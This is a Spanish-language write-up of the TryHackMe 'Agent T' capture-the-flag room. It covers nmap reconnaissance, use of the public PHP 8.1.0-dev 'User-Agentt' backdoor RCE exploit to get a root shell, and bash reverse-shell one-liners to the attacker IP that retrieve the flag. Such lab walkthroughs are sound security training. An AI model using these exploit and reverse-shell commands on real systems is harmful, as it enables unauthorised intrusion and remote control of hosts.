Agent T
December 19, 20223 minutes
https://tryhackme.com/room/agentt
IP Atacante = 10.10.10.10
IP víctima = 10.10.175.238
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.175.238
PING 10.10.175.238 (10.10.175.238) 56(84) bytes of data.
64 bytes from 10.10.175.238: icmp_seq=1 ttl=63 time=47.7 ms
--- 10.10.175.238 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 47.680/47.680/47.680/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.175.238 -oG allPort
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.175.238
5 │ [*] Open ports: 80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p80 -sC -sV 10.10.175.238 -oN target
PORT STATE SERVICE VERSION
80/tcp open http PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-title: Admin Dashboard
Infiltración
Con searchsploit podemos comprobar si la version de php es vulnerable
❯ searchsploit PHP 8.1.0-dev
-------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------- ---------------------------------
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py
-------------------------------------------------------- ---------------------------------
Hay un exploit de remote code execution, con searchsploit -m 49933
nos lo podemos pasar a nuestra máquina.
❯ python3 49933.py
Enter the full host url:
http://10.10.175.238
Interactive shell is opened on http://10.10.175.238
Can't acces tty; job crontol turned off.
$ whoami
root
Ya tenemos una shell interactiva como root, pero no podemos salir del directorio /var/www/html
, vamos a intentar crear una reverse shell.
Nos ponemos en escucha por el puerto 443
nc -nlvp 443
Intentamos mandarnos la reverse shell con bash -i >& /dev/tcp/10.10.10.10/443 0>&1
, pero no recibimos nada, probamos con bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"
ahora si, ya podemos ver la flag que está en /flag.txt